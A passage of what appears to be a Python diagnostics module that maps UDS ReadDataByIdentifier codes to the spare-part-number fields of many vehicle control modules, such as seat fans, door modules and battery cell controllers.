\"Right_rear_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6211] = \"Data_medium_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6212] = \"Drivers_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6213] = \"Front_passengers_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6214] = \"Left_headlamp_power_output_stage_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6215] = \"Right_headlamp_power_output_stage_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6216] = \"Sensor_for_anti_theft_alarm_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6217] = \"Rear_lid_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6218] = \"Alarm_horn_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6219] = \"Automatic_day_night_interior_mirror_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x621a] = \"Remote_control_auxiliary_heater_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x621b] = \"Fresh_air_blower_front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x621c] = \"Fresh_air_blower_back_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x621d] = \"Alternator_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x621e] = \"Interior_light_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x621f] = \"Refrigerant_pressure_and_temperature_sender_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6220] = \"Sun_roof_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6221] = \"Steering_column_lock_actuator_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6222] = \"Anti_theft_tilt_system_control_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6223] = \"Tire_pressure_monitor_antenna_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6224] = \"Heated_windshield_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6225] = \"Rear_light_left_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6226] = \"Ceiling_light_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6227] = \"Left_front_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6228] = \"Right_front_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6229] = \"Control_module_for_auxiliary_air_heater_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x622a] = \"Belt Pretensioner left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x622b] = \"Belt Pretensioner right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x622c] = \"Occupant Detection_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x622d] = \"Selector_lever_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x622e] = \"NOx_sensor_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x622f] = \"NOx_sensor_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6230] = \"Ioniser_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6231] = \"Multi_function_steering_wheel_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6232] = \"Left_rear_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6233] = \"Right_rear_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6234] = \"Left_rear_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6235] = \"Right_rear_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6236] = \"Display_unit_1_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6237] = \"Battery_monitoring_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6238] = \"Roof_blind_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6239] = \"Sun_roof_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x623a] = \"Steering_angle_sender_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x623b] = \"Lane_change_assistant 2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x623c] = \"Pitch_rate_sender_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x623d] = \"ESP_sensor_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x623e] = \"Electronic_ignition_lock_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x623f] = \"Air_quality_sensor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6240] = \"Display_unit_2_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6241] = \"Telephone_handset_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6242] = \"Chip_card_reader_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6243] = \"Traffic_data_aerial_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6244] = \"Hands_free_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6245] = \"Telephone_handset_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6246] = \"Display_unit_front_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6247] = \"Multimedia_operating_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6248] = \"Digital_sound_system_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6249] = \"Electrically_adjustable_steering_column_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x624a] = \"Interface_for_external_multimedia_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x624b] = \"Relative_Air_Humidity_Interior_Sender_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x624c] = \"Drivers_door_rear_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x624d] = \"Passengers_rear_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x624e] = \"Sensor_controlled_power_rear_lid_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x624f] = \"Camera_for_night_vision_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6250] = \"Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6251] = \"Rear_spoiler_adjustment_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6252] = \"Roof_blind_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6253] = \"Motor_for_wind_deflector_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6254] = \"Voltage_stabilizer_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6255] = \"Switch_module_for_driver_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6256] = \"Switch_module_for_front_passenger_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6257] = \"Switch_module_for_rear_seat_driver_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6258] = \"Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6259] = \"Switch_module_2_for_driver_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x625a] = \"Battery_charger_unit_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x625b] = \"Battery_charger_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x625c] = \"Battery_charger_unit_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x625d] = \"Air_conditioning_compressor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x625e] = \"Neck_heating_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x625f] = \"Neck_heating_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6260] = \"Switch_module_2_for_front_passenger_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6261] = \"Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6262] = \"Compact_disc_database_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6263] = \"Rear_climatronic_operating_and_display_unit_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6264] = \"Rear_climatronic_operating_and_display_unit_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6265] = \"Door_handle_front_left_Kessy_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6266] = \"Door_handle_front_right_Kessy_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6267] = \"Door_handle_rear_left_Kessy_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6268] = \"Door_handle_rear_right_Kessy_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6269] = \"Power_converter_DC_AC_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x626a] = \"Battery_monitoring_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x626b] = \"Matrix_headlamp_powermodule_1_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x626c] = \"Matrix_headlamp_powermodule_1_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x626d] = \"High_beam_powermodule_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x626e] = \"High_beam_powermodule_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x626f] = \"Air_suspension_compressor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6270] = \"Rear_brake_actuator_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6271] = \"Rear_brake_actuator_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6272] = \"Analog_clock_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6273] = \"Rear_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6279] = \"Data_medium_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x627a] = \"Operating_unit_center_console_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x627b] = \"Operating_unit_center_console_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x627c] = \"Operating_unit_center_console_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x627d] = \"Operating_unit_center_console_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x627e] = \"Interface_for_radiodisplay_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x627f] = \"Parkassist_entry_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6286] = \"Belt_pretensioner_3rd_row_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6287] = \"Belt_pretensioner_3rd_row_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6288] = \"Injection_valve_heater_control_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6289] = \"Steering_column_switch_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x628a] = \"Brake_assistance_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x628b] = \"Trailer_articulation_angle_sensor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x628c] = \"Cup_holder_with_heater_and_cooling_element_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x628d] = \"Range_of_vision_sensing_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x628e] = \"Convenience_and_driver_assist_operating_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x628f] = \"Cradle_rear_climatronic_operating_and_display_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6290] = \"Trailer_weight_nose_weight_detection_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6291] = \"Sensor_carbon_dioxide_concentration_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6292] = \"Sensor_fine_dust_concentration_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6293] = \"Volume_control_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6294] = \"Belt_buckle_presenter_2nd_row_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6295] = \"Belt_buckle_presenter_2nd_row_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6296] = \"Operating_and_display_unit_6_for_air_conditioning_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6297] = \"Active_accelerator_pedal_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6298] = \"Multimedia_operating_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6299] = \"Display_unit_3_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x629a] = \"Display_unit_4_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x629b] = \"Display_unit_5_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x629c] = \"Control_module_for_auxiliary_blower_motors_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x629d] = \"Operating_and_display_unit_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x629e] = \"Operating_and_display_unit_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x629f] = \"Operating_and_display_unit_5_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a0] = \"Side Sensor Driver Front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a1] = \"Side Sensor Passenger Front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a2] = \"Side Sensor Driver Rear_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a3] = \"Side Sensor Passenger Rear_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a4] = \"Front Sensor Driver_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a5] = \"Front Sensor Passenger_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a6] = \"Pedestrian Protection Driver_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a7] = \"Pedestrian Protection Passenger_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a8] = \"Rear Sensor Center_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62a9] = \"Pedestrian Protection Center_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62aa] = \"Pedestrian Protection Contact_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ab] = \"Pedestrian_protection_driver_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ac] = \"Pedestrian_protection_passenger_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ad] = \"Central_sensor_XY_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ae] = \"Refrigerant_pressure_and_temperature_sender_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62af] = \"Refrigerant_pressure_and_temperature_sender_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b0] = \"Switch_for_rear_multicontour_seat_driver_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b1] = \"Valve_block_1_in_driver_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b2] = \"Valve_block_2_in_driver_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b3] = \"Valve_block_3_in_driver_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b4] = \"Switch_for_rear_multicontour_seat_passenger_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b5] = \"Valve_block_1_in_passenger_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b6] = \"Valve_block_2_in_passenger_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b7] = \"Valve_block_3_in_passenger_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b8] = \"Switch_for_front_multicontour_seat_driver_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62b9] = \"Valve_block_1_in_driver_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ba] = \"Valve_block_2_in_driver_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62bb] = \"Valve_block_3_in_driver_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62bc] = \"Switch_for_front_multicontour_seat_passenger_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62bd] = \"Valve_block_1_in_passenger_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62be] = \"Valve_block_2_in_passenger_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62bf] = \"Valve_block_3_in_passenger_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c0] = \"Coolant_heater_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c1] = \"Seat_backrest_fan_1_front_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c2] = \"Seat_backrest_fan_2_front_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c3] = \"Seat_cushion_fan_1_front_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c4] = \"Seat_cushion_fan_2_front_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c5] = \"Seat_backrest_fan_1_front_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c6] = \"Seat_backrest_fan_2_front_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c7] = \"Seat_cushion_fan_1_front_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c8] = \"Seat_cushion_fan_2_front_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62c9] = \"Operating_and_display_unit_1_for_air_conditioning_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ca] = \"Operating_and_display_unit_2_for_air_conditioning_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62cb] = \"Operating_and_display_unit_3_for_air_conditioning_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62cc] = \"Operating_and_display_unit_4_for_air_conditioning_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62cd] = \"Operating_and_display_unit_5_for_air_conditioning_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ce] = \"Pedestrian_protection_left_hand_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62cf] = \"Pedestrian_protection_right_hand_side_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d0] = \"Battery_junction_box_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d1] = \"Cell_module_controller_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d2] = \"Cell_module_controller_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d3] = \"Cell_module_controller_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d4] = \"Cell_module_controller_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d5] = \"Cell_module_controller_5_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d6] = \"Cell_module_controller_6_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d7] = \"Cell_module_controller_7_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d8] = \"Cell_module_controller_8_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62d9] = \"Cell_module_controller_9_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62da] = \"Cell_module_controller_10_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62db] = \"Cell_module_controller_11_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62dc] = \"Cell_module_controller_12_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62dd] = \"Seat_backrest_fan_1_rear_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62de] = \"Seat_backrest_fan_2_rear_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62df] = \"Seat_cushion_fan_1_rear_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e0] = \"Seat_cushion_fan_2_rear_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e1] = \"Seat_backrest_fan_1_rear_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e2] = \"Seat_backrest_fan_2_rear_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e3] = \"Seat_cushion_fan_1_rear_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e4] = \"Seat_cushion_fan_2_rear_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e5] = \"Auxiliary_blower_motor_control_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e6] = \"Auxiliary_blower_motor_control_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e7] = \"Infrared_sender_for_front_observation_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e8] = \"Starter_generator_control_module_sub_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62e9] = \"Media_player_1_sub_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ea] = \"Media_player_2_sub_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62eb] = \"Dedicated_short_range_communication_aerial_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ec] = \"Refrigerant_pressure_and_temperature_sender_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ed] = \"Refrigerant_pressure_and_temperature_sender_5_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ee] = \"Refrigerant_pressure_and_temperature_sender_6_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ef] = \"Air_coolant_actuator_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f0] = \"Air_coolant_actuator_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f1] = \"Cell_module_controller_13_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f2] = \"Cell_module_controller_14_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f3] = \"Cell_module_controller_15_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f5] = \"Seat_heating_rear_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f6] = \"LED_warning_indicator_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f7] = \"Automatic_transmission_fluid_pump_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f8] = \"Manual_transmission_fluid_pump_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62f9] = \"Convenience_and_driver_assist_operating_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62fb] = \"Air_coolant_actuator_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62fc] = \"Valve_block_4_in_driver_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62fd] = \"Valve_block_4_in_passenger_side_rear_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62fe] = \"Valve_block_4_in_driver_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x62ff] = \"Valve_block_4_in_passenger_side_front_seat_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6301] = \"Rear_climatronic_operating_and_display_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6302] = \"Refrigerant_expansion_valve_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6303] = \"Refrigerant_expansion_valve_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6304] = \"Refrigerant_expansion_valve_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6305] = \"Refrigerant_shut_off_valve_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6306] = \"Refrigerant_shut_off_valve_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6307] = \"Refrigerant_shut_off_valve_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6308] = \"Refrigerant_shut_off_valve_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6309] = \"Refrigerant_shut_off_valve_5_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x630a] = \"Sunlight_sensor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x630b] = \"Near_field_communication_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x630c] = \"Clutch_control_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x630d] = \"Electrical_charger_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x630e] = \"Rear_light_left_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x630f] = \"Rear_light_right_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6310] = \"Rear_light_right_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6311] = \"Sunlight_sensor_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6312] = \"Radiator_shutter_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6313] = \"Radiator_shutter_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6314] = \"Radiator_shutter_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6315] = \"Radiator_shutter_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6318] = \"Special_key_operating_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6319] = \"Radio_interface_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x631a] = \"Video_self_protection_recorder_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x631b] = \"Special_vehicle_assist_interface_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x631c] = \"Electric_system_disconnection_diode_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x631d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x631e] = \"Belt_pretensioner_2nd_row_left_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x631f] = \"Belt_pretensioner_2nd_row_right_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6320] = \"Electrical_variable_camshaft_phasing_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6321] = \"Electrical_variable_camshaft_phasing_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6322] = \"Wireless_operating_unit_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6323] = \"Wireless_operating_unit_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6324] = \"Front_windshield_washer_pump_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6325] = \"Air_quality_sensor_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6326] = \"Fragrancing_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6327] = \"Coolant_valve_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6328] = \"Near_field_communication_control_module_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6329] = \"Interior_monitoring_rear_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x632a] = \"Cooler_fan_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x632b] = \"Control_unit_heating_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x632c] = \"Control_unit_heating_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x632d] = \"Control_unit_heating_3_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x632e] = \"Control_unit_heating_4_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x632f] = \"Operating_unit_drive_mode_selection_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6330] = \"Side_sensor_a-pillar_driver_front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6331] = \"Side_sensor_a-pillar_passenger_front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6332] = \"Sensor_high_voltage_system_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6333] = \"Side_sensor_b-pillar_driver_front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6334] = \"Side_sensor_b-pillar_passenger_front_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6335] = \"Multi_function_steering_wheel_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x6336] = 